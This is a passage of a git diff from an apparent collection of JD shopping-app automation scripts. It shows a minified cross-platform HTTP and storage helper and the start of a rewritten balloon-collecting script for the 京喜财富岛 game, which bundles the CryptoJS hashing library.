this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_cfd_loop.js b/jd_cfd_loop.js index 4a5ed9b..28e7c9e 100755 --- a/jd_cfd_loop.js +++ b/jd_cfd_loop.js @@ -1,297 +1,587 @@ -"use strict"; -/** - * 财富岛热气球挂后台 - * export CFD_LOOP_DELAY=20000 // 捡气球间隔时间,单位毫秒 - */ -var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) { - function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } - return new (P || (P = Promise))(function (resolve, reject) { - function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } - function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } - function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); -}; -var __generator = (this && this.__generator) || function (thisArg, body) { - var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g; - return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; - function verb(n) { return function (v) { return step([n, v]); }; } - function step(op) { - if (f) throw new TypeError("Generator is already executing."); - while (_) try { - if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; - if (y = 0, t) op = [op[0] & 2, t.value]; - switch (op[0]) { - case 0: case 1: t = op; break; - case 4: _.label++; return { value: op[1], done: false }; - case 5: _.label++; y = op[1]; op = [0]; continue; - case 7: op = _.ops.pop(); _.trys.pop(); continue; - default: - if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } - if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } - if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } - if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } - if (t[2]) _.ops.pop(); - _.trys.pop(); continue; - } - op = body.call(thisArg, _); - } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } - if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; +// @grant require +/* +京喜财富岛热气球挂机 + +更新时间:2021-7-21 +活动入口:京喜APP-我的-京喜财富岛 +*/ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, 